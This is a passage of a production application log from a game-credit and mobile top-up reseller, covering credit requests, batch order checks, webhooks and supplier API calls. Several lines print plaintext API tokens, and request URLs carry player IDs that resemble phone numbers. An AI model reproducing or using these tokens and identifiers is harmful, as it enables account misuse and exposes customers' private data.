[2026-03-24 20:17:54] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2000.0","mainamount":"2000","operation_number":"158560137","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpa45nch5rb7qocVx6cTg"}},"user_id":194} 
[2026-03-24 20:17:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:17:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:17:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:17:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:17:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:17:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:17:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:17:57] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:17:57] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18698,"user_id":194,"amount":2000.0,"admins_notified":7} 
[2026-03-24 20:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03"} 
[2026-03-24 20:18:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","total_operations":4,"sites_count":1} 
[2026-03-24 20:18:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-5zMkuck7-1774372508","ORD-DgAsZ-1774372610","ORD-MuBcF-1774372624","ORD-0HN-1774372652"]} 
[2026-03-24 20:18:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:18:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 20:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0HN-1774372652","operation_id":164189} 
[2026-03-24 20:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5zMkuck7-1774372508","operation_id":164179} 
[2026-03-24 20:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187} 
[2026-03-24 20:18:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 20:18:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:18:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"count":1} 
[2026-03-24 20:18:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"count":1} 
[2026-03-24 20:18:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"user_id":59,"notification_type":"order_approved","reference_id":179307} 
[2026-03-24 20:18:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:18:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:18:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"processed":1,"errors":0} 
[2026-03-24 20:18:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"processed":1,"errors":0} 
[2026-03-24 20:18:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6oYqR0Kk2fRiLtdWOk6dhPPTEBQDLw8O","execution_time":"2026-03-24 20:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187} 
[2026-03-24 20:18:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 20:18:08] production.INFO: Constructing job for order: 179311  
[2026-03-24 20:18:09] production.INFO: Handling job for order: 179311  
[2026-03-24 20:18:09] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:18:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:18:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/45/params?qty=1&uuid=7f596a72-8fd9-4429-b48a-8afaf4596c17&Player_ID=0934070988  
[2026-03-24 20:18:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/45/params?qty=1&uuid=7f596a72-8fd9-4429-b48a-8afaf4596c17&Player_ID=0934070988","has_body":false} 
[2026-03-24 20:18:10] production.INFO: Operation sent successfully {"operation_id":164190,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bQuoYT4-1774372689","amount":121.7664400000000028967406251467764377593994140625,"status":"processing","product":"115.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:18:10"}},"processed_data":{"order_number":"ORD-bQuoYT4-1774372689","amount":121.7664400000000028967406251467764377593994140625,"status":"processing","product":"115.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:18:29] production.INFO: Constructing job for order: 179312  
[2026-03-24 20:18:31] production.INFO: Handling job for order: 179312  
[2026-03-24 20:18:31] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:18:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:18:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=a6919197-19f2-49fe-a49a-a0ed470815fa&Player_ID=0934070988  
[2026-03-24 20:18:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/29/params?qty=1&uuid=a6919197-19f2-49fe-a49a-a0ed470815fa&Player_ID=0934070988","has_body":false} 
[2026-03-24 20:18:31] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179305} 
[2026-03-24 20:18:31] production.INFO: Operation sent successfully {"operation_id":164191,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wC2BrS-1774372711","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:18:31"}},"processed_data":{"order_number":"ORD-wC2BrS-1774372711","amount":6.092349999999999710098563809879124164581298828125,"status":"processing","product":"5.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:18:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 20:19:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5zMkuck7-1774372508","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:19:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-5zMkuck7-1774372508","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:19:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:19:13] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":179299} 
[2026-03-24 20:19:13] production.INFO: Order updated successfully. Order ID: 179299, Status: completed  
[2026-03-24 20:19:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5zMkuck7-1774372508","status":"completed","codes_count":0} 
[2026-03-24 20:19:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 20:19:18] production.INFO: Constructing job for order: 179313  
[2026-03-24 20:19:19] production.INFO: Handling job for order: 179313  
[2026-03-24 20:19:19] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:19:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:19:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/38/params?qty=1&uuid=9b03e5c6-f294-479e-aedd-c84875e9b6f8&Player_ID=0985117997  
[2026-03-24 20:19:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/38/params?qty=1&uuid=9b03e5c6-f294-479e-aedd-c84875e9b6f8&Player_ID=0985117997","has_body":false} 
[2026-03-24 20:19:20] production.INFO: Operation sent successfully {"operation_id":164192,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WP2lYr59-1774372760","amount":76.109059999999999490682967007160186767578125,"status":"processing","product":"72.12 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:19:20"}},"processed_data":{"order_number":"ORD-WP2lYr59-1774372760","amount":76.109059999999999490682967007160186767578125,"status":"processing","product":"72.12 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:19:34] production.INFO: Constructing job for order: 179314  
[2026-03-24 20:19:35] production.INFO: Constructing job for order: 179315  
[2026-03-24 20:19:35] production.INFO: Handling job for order: 179314  
[2026-03-24 20:19:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:19:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:19:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=a43823cd-cdd4-426e-83de-ce463db4486c&Player_ID=589084795  
[2026-03-24 20:19:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=15000&uuid=a43823cd-cdd4-426e-83de-ce463db4486c&Player_ID=589084795","has_body":false} 
[2026-03-24 20:19:36] production.INFO: Operation sent successfully {"operation_id":164193,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Balb-1774372776","amount":1.51200750000000017081447367672808468341827392578125,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 20:19:36"}},"processed_data":{"order_number":"ORD-Balb-1774372776","amount":1.51200750000000017081447367672808468341827392578125,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 20:19:36] production.INFO: Handling job for order: 179315  
[2026-03-24 20:19:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:19:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:19:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/604/params?qty=70000&uuid=2bc689c9-d658-4704-9008-dbbf7afbb156&Player_ID=4178367  
[2026-03-24 20:19:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/604/params?qty=70000&uuid=2bc689c9-d658-4704-9008-dbbf7afbb156&Player_ID=4178367","has_body":false} 
[2026-03-24 20:19:37] production.INFO: Operation sent successfully {"operation_id":164194,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HOWEjn-1774372777","amount":6.8651379999999999625970303895883262157440185546875,"status":"processing","product":"Cocco Amount","game":"Cocco","notes":[],"created_at":"2026-03-24 20:19:37"}},"processed_data":{"order_number":"ORD-HOWEjn-1774372777","amount":6.8651379999999999625970303895883262157440185546875,"status":"processing","product":"Cocco Amount","game":"Cocco"}} 
[2026-03-24 20:19:42] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"4.0","mainamount":"4","operation_number":"60","note":"لايوجد اشعار","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpgbjlu1tu3qqh4Vm0RRV"}},"user_id":1759} 
[2026-03-24 20:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:19:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:19:43] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:19:43] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18699,"user_id":1759,"amount":4.0,"admins_notified":7} 
[2026-03-24 20:19:46] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-HOWEjn-1774372777","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:19:46] production.INFO: Processed webhook data (normalized) {"id":"ORD-HOWEjn-1774372777","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:19:46] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:19:46] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179315} 
[2026-03-24 20:19:46] production.INFO: Order updated successfully. Order ID: 179315, Status: completed  
[2026-03-24 20:19:46] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-HOWEjn-1774372777","status":"completed","codes_count":0} 
[2026-03-24 20:19:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 20:19:52] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"5000.0","mainamount":"5000","operation_number":"158689566","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php2gerqb0tqo6e7ZpbauQ"}},"user_id":948} 
[2026-03-24 20:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:19:55] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:19:55] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18700,"user_id":948,"amount":5000.0,"admins_notified":7} 
[2026-03-24 20:20:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04"} 
[2026-03-24 20:20:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","total_operations":6,"sites_count":2} 
[2026-03-24 20:20:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-MuBcF-1774372624","ORD-0HN-1774372652","ORD-Balb-1774372776"]} 
[2026-03-24 20:20:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:20:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0HN-1774372652","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:20:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-0HN-1774372652","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:20:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:20:04] production.INFO: SendAcceptReject: Notification queued {"user_id":1540,"notification_type":"order_approved","reference_id":179310} 
[2026-03-24 20:20:04] production.INFO: Order updated successfully. Order ID: 179310, Status: completed  
[2026-03-24 20:20:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0HN-1774372652","status":"completed","codes_count":0} 
[2026-03-24 20:20:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:20:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187} 
[2026-03-24 20:20:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"processed":2,"skipped":1,"updates_prepared":2} 
[2026-03-24 20:20:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 20:20:04] production.ERROR: Operation not found for external_order: ORD-0HN-1774372652 in chunk 1 {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187} 
[2026-03-24 20:20:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"count":1} 
[2026-03-24 20:20:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"count":1} 
[2026-03-24 20:20:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"user_id":620,"notification_type":"order_approved","reference_id":179314} 
[2026-03-24 20:20:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"chunk_number":1,"processed":1,"errors":1,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:20:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"total_processed":1,"total_errors":1,"chunks_processed":1} 
[2026-03-24 20:20:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"processed":1,"errors":1} 
[2026-03-24 20:20:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"processed":1,"errors":1} 
[2026-03-24 20:20:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"orders_count":3,"order_ids":["ORD-bQuoYT4-1774372689","ORD-wC2BrS-1774372711","ORD-WP2lYr59-1774372760"]} 
[2026-03-24 20:20:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187} 
[2026-03-24 20:20:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MuBcF-1774372624","operation_id":164187,"orders_count":3} 
[2026-03-24 20:20:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 20:20:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 20:20:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"count":3} 
[2026-03-24 20:20:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"count":3} 
[2026-03-24 20:20:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"user_id":949,"notification_type":"order_approved","reference_id":179311} 
[2026-03-24 20:20:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"user_id":949,"notification_type":"order_approved","reference_id":179312} 
[2026-03-24 20:20:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"user_id":587,"notification_type":"order_approved","reference_id":179313} 
[2026-03-24 20:20:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:20:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"total_processed":3,"total_errors":0,"chunks_processed":1} 
